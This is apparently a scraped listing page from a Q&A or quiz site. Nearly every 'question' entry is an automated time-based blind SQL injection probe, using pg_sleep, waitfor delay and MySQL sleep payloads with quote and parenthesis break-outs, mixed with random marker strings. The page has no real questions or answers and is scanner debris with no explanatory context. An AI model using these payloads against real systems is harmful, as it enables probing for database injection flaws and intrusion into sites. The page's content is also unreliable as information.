| Question | Diff. | By | Answers | 
| 8NYlrXmy'));select pg_sleep(16); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| oRTTkYJO');select pg_sleep(24); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| auLSPEVO';select pg_sleep(16); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1));select pg_sleep(24); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1);select pg_sleep(8); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1;select pg_sleep(24); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| w2I3QRBI')); waitfor delay '0:0:24' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| DRGTaKOf'); waitfor delay '0:0:16' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| BXUzyp58'; waitfor delay '0:0:8' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 waitfor delay '0:0:16' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1)); waitfor delay '0:0:16' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1; waitfor delay '0:0:24' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| if(now()=sysdate(),sleep(16),0)/*'XOR(if(now()=sysdate(),sleep(16),0))OR'"XOR(if(now()=sysdate(),sleep(16),0))OR"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| Xzqagvrx | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| iTU0zFXu'));select pg_sleep(21); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| 0nAJ67DD');select pg_sleep(21); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| OkZoJVYB';select pg_sleep(21); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1));select pg_sleep(7); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1);select pg_sleep(21); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1;select pg_sleep(7); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| O7wDx9FO')); waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| SBWk3Gjc'); waitfor delay '0:0:7' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| FlUTYzYS'; waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1)); waitfor delay '0:0:7' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1); waitfor delay '0:0:14' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1; waitfor delay '0:0:14' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| (select(0)from(select(sleep(14)))v)/*'+(select(0)from(select(sleep(14)))v)+'"+(select(0)from(select(sleep(14)))v)+"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| if(now()=sysdate(),sleep(14),0)/*'XOR(if(now()=sysdate(),sleep(14),0))OR'"XOR(if(now()=sysdate(),sleep(14),0))OR"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| fASCSuqE | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| RfAtxd26'));select pg_sleep(18); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| DCY9hgz5');select pg_sleep(12); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| Qk4H1PTN';select pg_sleep(6); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1));select pg_sleep(6); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1);select pg_sleep(18); -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| Gutk5eVg')); waitfor delay '0:0:18' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| QB09jIRo'); waitfor delay '0:0:6' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| kVm7iAqa'; waitfor delay '0:0:12' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 waitfor delay '0:0:6' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1); waitfor delay '0:0:18' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| -1; waitfor delay '0:0:6' -- | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| (select(0)from(select(sleep(18)))v)/*'+(select(0)from(select(sleep(18)))v)+'"+(select(0)from(select(sleep(18)))v)+"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| 1DIqAnf9 | Hard | Anonymous | • 1 • 1 • 1 • 1  | 
| LHpZwFUK'));select pg_sleep(10); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| NvvS7CPY');select pg_sleep(10); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| pxppgpsO';select pg_sleep(10); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1));select pg_sleep(10); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1);select pg_sleep(15); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1;select pg_sleep(5); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| jKgEAJeV')); waitfor delay '0:0:15' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 7aw9kNX9'); waitfor delay '0:0:15' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| c1C3UhlY'; waitfor delay '0:0:10' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 waitfor delay '0:0:5' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1)); waitfor delay '0:0:15' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1); waitfor delay '0:0:5' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1; waitfor delay '0:0:5' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 9Tc1Krwd | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| noPjHk4b'));select pg_sleep(12); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| GUTS62Wp');select pg_sleep(8); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 5pyNKV2U';select pg_sleep(8); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1));select pg_sleep(8); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1);select pg_sleep(12); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1;select pg_sleep(12); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| q9EwgDz8')); waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| lpK5rubN'); waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| kLaC4uKU'; waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1)); waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1); waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1; waitfor delay '0:0:4' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| KtK6bO9O | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 8qpcfk93'));select pg_sleep(6); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 4Wdl0h94');select pg_sleep(9); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| fNXFsKH7';select pg_sleep(3); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1));select pg_sleep(3); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1);select pg_sleep(6); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1;select pg_sleep(9); -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| mOqFuSYg')); waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| I8Nhgt8O'); waitfor delay '0:0:3' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| Uh2qUVIF'; waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 waitfor delay '0:0:3' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1)); waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1); waitfor delay '0:0:9' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| -1; waitfor delay '0:0:3' -- | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 0+0+0+1 | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| iDrwgmLr | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 | Medium | Anonymous | • 1 • 1 • 1 • 1  | 
| 1 | Medium | Anonymous | • 1 • 1 • 1 • 1  |